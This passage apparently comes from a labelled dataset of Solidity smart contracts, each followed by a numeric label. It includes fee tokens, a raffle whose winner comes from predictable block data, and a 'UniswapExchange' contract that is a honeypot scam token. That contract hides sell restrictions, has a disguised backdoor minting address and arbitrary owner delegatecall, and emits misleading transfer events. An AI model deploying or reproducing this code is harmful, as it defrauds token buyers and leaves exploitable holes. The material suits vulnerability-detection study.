function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THIS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isBot;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000 * 10**1 * 10**9;
uint256 private _tFeeTotal = 10;
string private _name = "THIS";
string private _symbol = "THIS";
uint8 private _decimals = 9;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address payable public THISWallet = payable(0xADC1FC94F0349Cb311557844ffBD07C6d1FA1ACD);
bool inSwapAndLiquify;
bool public tradingOpen;
uint256 public launchedAt;
uint256 private _blockLimit = 1;
bool private _cooldownEnabled=true;
uint256 public _maxTxAmount = 4000001 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 10000000 * 10**9;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
m_Balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setFeePercent(uint256 newFee) external onlyOwner() {
require (_tFeeTotal <= 10, "Fee can't exceed 10%");
_tFeeTotal = newFee;
}
receive() external payable {}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function sendETHToFee(uint256 amount) private {
swapTokensForEth(amount);
THISWallet.call{value: address(this).balance}("");
}
function _setTHISWallet(address payable newWallet) external onlyOwner() {
THISWallet = newWallet;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
require(tradingOpen, "Trading not yet enabled.");
require (!isBot[from] && !isBot[to], "Bot!");
if (block.number <= (launchedAt + _blockLimit)) {
isBot[to] = true;
}
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
}
if(from == uniswapV2Pair && !_isExcludedFromFee[to]) {
if(_cooldownEnabled) {
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (30 seconds);
}
}
uint256 _taxes = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
swapAndLiquify(contractTokenBalance);
}
if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
_taxes = _getTaxes(from, to, amount);
}
_updateBalances(from, to, amount, _taxes);
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address sender, address recipient, uint256 amount) private view returns (uint256) {
uint256 _netTaxes = 0;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {
return _netTaxes;
}
_netTaxes = amount.mul(_tFeeTotal).div(100);
return _netTaxes;
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 halfOfLiquify = contractTokenBalance.div(8);
uint256 otherHalfOfLiquify = contractTokenBalance.div(8);
uint256 portionForFees = contractTokenBalance.sub(halfOfLiquify).sub(otherHalfOfLiquify);
uint256 initialBalance = address(this).balance;
swapTokensForEth(halfOfLiquify);
uint256 newBalance = address(this).balance.sub(initialBalance);
addLiquidity(otherHalfOfLiquify, newBalance);
sendETHToFee(portionForFees);
emit SwapAndLiquify(halfOfLiquify, newBalance, otherHalfOfLiquify);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function oopenTrading() external onlyOwner() {
tradingOpen = true;
launchedAt = block.number;
}
function removeStrictTxLimit() external onlyOwner {
_cooldownEnabled = false;
_maxTxAmount = _tTotal;
}
function checkBot(address account) public view returns (bool) {
return isBot[account];
}
function removeBlacklist(address account) external onlyOwner {
require (isBot[account], "Must be blacklisted");
isBot[account] = false;
}
function blacklist(address account) external onlyOwner {
require (!isBot[account], "Must not be bot");
isBot[account] = true;
}
function setSwapThresholdAmount (uint256 amount) external onlyOwner {
require (amount <= _tTotal.div(100), "can't exceed 1%");
numTokensSellToAddToLiquidity = amount * 10 ** 9;
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
_transfer(_msgSender(), newholders[iterator], amounts[iterator]*10**9);
iterator += 1;
}
}
function emergencyWithdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | 0 | 2,463 |
pragma solidity ^0.4.13;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function mint(address receiver, uint amount);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract PayFairToken is SafeMath, ERC20, Ownable {
string public name = "PayFair Token";
string public symbol = "PFR";
uint public constant decimals = 8;
uint public constant FROZEN_TOKENS = 11e6;
uint public constant FREEZE_PERIOD = 1 years;
uint public constant MULTIPLIER = 10 ** decimals;
uint public crowdSaleOverTimestamp;
address public crowdsaleAgent;
bool public released = false;
mapping (address => mapping (address => uint)) allowed;
mapping(address => uint) balances;
modifier canTransfer() {
if(!released) {
require(msg.sender == crowdsaleAgent);
}
_;
}
modifier checkFrozenAmount(address source, uint amount) {
if (source == owner && now < crowdSaleOverTimestamp + FREEZE_PERIOD) {
var frozenTokens = 10 ** decimals * FROZEN_TOKENS;
require(safeSub(balances[owner], amount) > frozenTokens);
}
_;
}
modifier inReleaseState(bool _released) {
require(_released == released);
_;
}
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canMint() {
require(!released);
_;
}
function PayFairToken() {
owner = msg.sender;
}
function() payable {
revert();
}
function mint(address receiver, uint amount) onlyCrowdsaleAgent canMint public {
totalSupply = safeAdd(totalSupply, amount);
balances[receiver] = safeAdd(balances[receiver], amount);
Transfer(0, receiver, amount);
}
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner inReleaseState(false) public {
crowdsaleAgent = _crowdsaleAgent;
}
function releaseTokenTransfer() public onlyCrowdsaleAgent {
crowdSaleOverTimestamp = now;
released = true;
}
function convertToDecimal(uint amount) public constant returns (uint) {
return safeMul(amount, MULTIPLIER);
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer checkFrozenAmount(msg.sender, _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(2 * 32) canTransfer checkFrozenAmount(_from, _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
require ((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
} | 1 | 2,687 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 112 |
pragma solidity ^0.4.16;
contract Ethraffle_v4b {
struct Contestant {
address addr;
uint raffleId;
}
event RaffleResult(
uint raffleId,
uint winningNumber,
address winningAddress,
address seed1,
address seed2,
uint seed3,
bytes32 randHash
);
event TicketPurchase(
uint raffleId,
address contestant,
uint number
);
event TicketRefund(
uint raffleId,
address contestant,
uint number
);
uint public constant prize = 2.5 ether;
uint public constant fee = 0.03 ether;
uint public constant totalTickets = 50;
uint public constant pricePerTicket = (prize + fee) / totalTickets;
address feeAddress;
bool public paused = false;
uint public raffleId = 1;
uint public blockNumber = block.number;
uint nextTicket = 0;
mapping (uint => Contestant) contestants;
uint[] gaps;
function Ethraffle_v4b() public {
feeAddress = msg.sender;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
if (paused) {
msg.sender.transfer(msg.value);
return;
}
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket < totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
TicketPurchase(raffleId, msg.sender, currTicket);
moneySent -= pricePerTicket;
}
if (nextTicket == totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
address seed1 = contestants[uint(block.coinbase) % totalTickets].addr;
address seed2 = contestants[uint(msg.sender) % totalTickets].addr;
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
address winningAddress = contestants[winningNumber].addr;
RaffleResult(raffleId, winningNumber, winningAddress, seed1, seed2, seed3, randHash);
raffleId++;
nextTicket = 0;
blockNumber = block.number;
winningAddress.transfer(prize);
feeAddress.transfer(fee);
}
function getRefund() public {
uint refund = 0;
for (uint i = 0; i < totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refund += pricePerTicket;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
TicketRefund(raffleId, msg.sender, i);
}
}
if (refund > 0) {
msg.sender.transfer(refund);
}
}
function endRaffle() public {
if (msg.sender == feeAddress) {
paused = true;
for (uint i = 0; i < totalTickets; i++) {
if (raffleId == contestants[i].raffleId) {
TicketRefund(raffleId, contestants[i].addr, i);
contestants[i].addr.transfer(pricePerTicket);
}
}
RaffleResult(raffleId, totalTickets, address(0), address(0), address(0), 0, 0);
raffleId++;
nextTicket = 0;
blockNumber = block.number;
gaps.length = 0;
}
}
function togglePause() public {
if (msg.sender == feeAddress) {
paused = !paused;
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 1 | 5,372 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
